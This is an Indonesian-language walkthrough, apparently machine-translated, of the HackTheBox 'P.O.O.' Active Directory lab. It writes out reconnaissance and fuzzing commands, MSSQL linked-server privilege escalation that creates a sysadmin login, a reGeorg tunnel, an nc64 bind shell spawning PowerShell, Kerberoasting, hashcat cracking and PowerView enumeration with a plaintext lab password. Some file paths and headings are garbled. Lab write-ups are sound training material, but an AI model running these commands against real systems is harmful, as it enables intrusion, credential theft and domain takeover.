Pada artikel ini, kami akan menganalisis bagian bukan hanya mesin, tetapi seluruh laboratorium mini dari situs
Seperti yang dinyatakan dalam deskripsi, POO dirancang untuk menguji keterampilan di semua tahap serangan di lingkungan Direktori Aktif kecil. Tujuannya adalah untuk mengkompromikan host yang tersedia, meningkatkan hak istimewa, dan akhirnya mengkompromikan seluruh domain dengan mengumpulkan 5 tanda dalam prosesnya.
Koneksi ke laboratorium melalui VPN. Disarankan untuk tidak terhubung dari komputer yang berfungsi atau dari host di mana terdapat data penting untuk Anda, karena Anda masuk ke jaringan pribadi dengan orang-orang yang mengetahui sesuatu tentang keamanan informasi 🙂
informasi organisasi
Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya buat
Semua informasi disediakan untuk tujuan pendidikan saja. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang terjadi pada siapa pun sebagai akibat dari penggunaan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.
Intro
Endgame ini terdiri dari dua mesin dan berisi 5 bendera.
Deskripsi dan alamat host yang tersedia juga diberikan.
Ayo mulai!
Bendera pengintaian
Mesin ini memiliki alamat IP 10.13.38.11 yang saya tambahkan ke /etc/hosts.
10.13.38.11 poo.htb
Langkah pertama adalah memindai port yang terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, pertama-tama saya akan melakukannya dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 pada 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Sekarang, untuk mendapatkan informasi lebih detail tentang layanan yang berjalan di port, mari jalankan pemindaian dengan opsi -A.
nmap -A poo.htb -p80,1433
Jadi, kami memiliki layanan IIS dan MSSQL. Dalam hal ini, kami akan menemukan nama DNS asli dari domain dan komputer. Di web server, kita disambut oleh home page IIS.
Mari beralih ke direktori. Saya menggunakan gobuster untuk ini. Dalam parameter kami menentukan jumlah aliran 128 (-t), URL (-u), kamus (-w) dan ekstensi yang kami minati (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Jadi, kami memiliki autentikasi HTTP untuk direktori /admin, serta file penyimpanan layanan desktop .DS_Store tersedia. .DS_Store adalah file yang menyimpan pengaturan pengguna untuk folder, seperti daftar file, lokasi ikon, gambar latar yang dipilih. File seperti itu mungkin berakhir di direktori server web pengembang web. Dengan demikian, kami mendapatkan informasi tentang isi direktori. Untuk ini, Anda dapat menggunakan
python3 dsstore_crawler.py -i http://poo.htb/
Kami mendapatkan isi direktori. Hal yang paling menarik di sini adalah direktori /dev, dari mana kita dapat melihat file sources dan db dalam dua cabang. Namun kita dapat menggunakan 6 karakter pertama dari nama file dan direktori jika layanan tersebut rentan terhadap IIS ShortName. Anda dapat memeriksa kerentanan ini menggunakan
Dan kami menemukan satu file teks yang dimulai dengan "poo_co". Tidak tahu apa yang harus dilakukan selanjutnya, saya hanya memilih dari kamus direktori semua kata yang dimulai dengan "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Dan ulangi dengan wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Dan temukan kata yang tepat! Kami melihat file ini, menyimpan kredensial (dilihat dari parameter DBNAME, mereka berasal dari MSSQL).
Kami menyerahkan benderanya, dan kami maju sebesar 20%.
Hah bendera
Kami terhubung ke MSSQL, saya menggunakan DBeaver.
Kami tidak menemukan sesuatu yang menarik di database ini, mari buat SQL Editor dan periksa siapa penggunanya.
SELECT name FROM master..syslogins;
Kami memiliki dua pengguna. Mari kita periksa hak istimewa kita.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Jadi, tidak ada keistimewaan. Mari kita lihat server tertaut, saya menulis tentang teknik ini secara detail
SELECT * FROM master..sysservers;
Jadi kami menemukan SQL Server lain. Mari kita periksa eksekusi perintah di server ini menggunakan openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Dan kami bahkan dapat membuat pohon kueri.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Faktanya adalah saat kami membuat permintaan ke server tertaut, permintaan tersebut dijalankan dalam konteks pengguna lain! Mari kita lihat konteks pengguna apa yang kita jalankan di server tertaut.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Dan sekarang mari kita lihat dalam konteks apa permintaan dari server tertaut ke server kita dijalankan!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Jadi, ini adalah konteks DBO yang harus memiliki semua hak istimewa. Mari kita periksa hak istimewa jika ada permintaan dari server tertaut.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Seperti yang Anda lihat, kami memiliki semua hak istimewa! Mari kita buat admin kita seperti ini. Tapi mereka tidak membiarkan mereka melalui openquery, mari kita lakukan melalui EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Dan sekarang kami terhubung dengan kredensial pengguna baru, amati basis data bendera baru.
Kami menyerahkan bendera ini dan melangkah lebih jauh.
Bendera mundur
Mari kita ambil shellnya menggunakan MSSQL, saya menggunakan mssqlclient dari paket impaket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Kami perlu mendapatkan kata sandi, dan hal pertama yang kami temui adalah situsnya. Jadi, kami memerlukan konfigurasi server web (tidak mungkin membuang shell yang nyaman, tampaknya firewall berfungsi).
Tapi akses ditolak. Meskipun kita dapat membaca file dari MSSQL, kita hanya perlu mengetahui bahasa pemrograman apa yang dikonfigurasi. Dan di direktori MSSQL kami menemukan bahwa ada Python.
Maka tidak ada masalah untuk membaca file web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Dengan kredensial ditemukan, buka /admin dan ambil benderanya.
bendera pijakan
Sebenarnya, ada beberapa ketidaknyamanan menggunakan firewall, tetapi melihat melalui pengaturan jaringan, kami melihat bahwa protokol IPv6 juga digunakan!
Tambahkan alamat ini ke /etc/hosts.
dead:babe::1001 poo6.htb
Mari memindai host lagi, tetapi kali ini melalui IPv6.
Dan layanan WinRM tersedia melalui IPv6. Mari terhubung dengan kredensial yang ditemukan.
Ada bendera di desktop, serahkan.
bendera P00ned
Setelah pengintaian pada tuan rumah dengan
setspn.exe -T intranet.poo -Q */*
Mari jalankan perintah melalui MSSQL.
Dengan cara ini, kami mendapatkan SPN pengguna p00_hr dan p00_adm, yang berarti mereka rentan terhadap serangan seperti Kerberoasting. Singkatnya, kita bisa mendapatkan hash dari kata sandi mereka.
Pertama, Anda perlu mendapatkan shell yang stabil atas nama pengguna MSSQL. Tetapi karena akses kami terbatas, kami memiliki koneksi dengan host hanya melalui port 80 dan 1433. Tetapi dimungkinkan untuk mengarahkan lalu lintas melalui port 80! Untuk ini kita akan menggunakan
Tetapi ketika kami mencoba mengaksesnya, kami mendapatkan kesalahan 404. Artinya, file *.aspx tidak dieksekusi. Untuk menjalankan file dengan ekstensi ini, instal ASP.NET 4.5 sebagai berikut.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Dan sekarang, saat mengakses tunnel.aspx, kami mendapatkan jawaban bahwa semuanya sudah siap.
Mari mulai bagian klien dari aplikasi, yang akan meneruskan lalu lintas. Kami akan meneruskan semua lalu lintas dari port 5432 ke server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Dan kami menggunakan rantai proxy untuk mengirimkan lalu lintas aplikasi apa pun melalui proxy kami. Mari tambahkan proxy ini ke file konfigurasi /etc/proxychains.conf.
Sekarang mari unggah program ke server
Sekarang, melalui MSSQL, kami meluncurkan pendengar.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Dan kami terhubung melalui proxy kami.
proxychains rlwrap nc poo.htb 4321
Dan mari kita dapatkan hashnya.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Selanjutnya, Anda perlu mengulangi hash ini. Karena rockyou tidak memiliki kamus data kata sandi, saya menggunakan SEMUA kamus kata sandi yang disediakan di Seclist. Untuk pencacahan kami menggunakan hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Dan kami menemukan kedua kata sandi tersebut, yang pertama di kamus dutch_passwordlist.txt, dan yang kedua di Keyboard-Combinations.txt.
Jadi kami memiliki tiga pengguna, kami pergi ke pengontrol domain. Mari kita cari tahu alamatnya terlebih dahulu.
Hebat, kami telah mempelajari alamat IP pengontrol domain. Mari cari tahu semua pengguna domain, serta siapa di antara mereka yang merupakan administrator. Untuk mendownload script untuk mendapatkan informasi PowerView.ps1. Kemudian kami akan terhubung menggunakan evil-winrm, menentukan direktori dengan skrip di parameter -s. Dan kemudian muat skrip PowerView.
Sekarang kami memiliki akses ke semua fungsinya. Pengguna p00_adm terlihat seperti pengguna istimewa, jadi kami akan bekerja dalam konteksnya. Mari buat objek PSCredential untuk pengguna ini.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Sekarang semua perintah Powershell di mana kami menentukan Kredit akan dieksekusi atas nama p00_adm. Mari tampilkan daftar pengguna dan atribut AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Jadi, pengguna kami benar-benar istimewa. Mari kita lihat kelompok apa yang dia ikuti.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Kami akhirnya mengonfirmasi bahwa pengguna adalah administrator domain. Ini memberinya hak untuk masuk dari jarak jauh ke pengontrol domain. Mari kita coba masuk dengan WinRM menggunakan terowongan kami. Saya bingung dengan kesalahan yang dikeluarkan oleh reGeorg saat menggunakan evil-winrm.
Kemudian kami menggunakan yang lain, yang lebih mudah,
Kami mencoba terhubung, dan kami berada di dalam sistem.
Tapi tidak ada bendera. Kemudian lihat pengguna dan periksa desktop.
Di mr3ks kami menemukan bendera dan laboratorium 100% selesai.
Itu saja. Sebagai umpan balik, beri komentar apakah Anda mempelajari sesuatu yang baru dari artikel ini dan apakah itu bermanfaat bagi Anda.
Anda dapat bergabung dengan kami di
Sumber: www.habr.com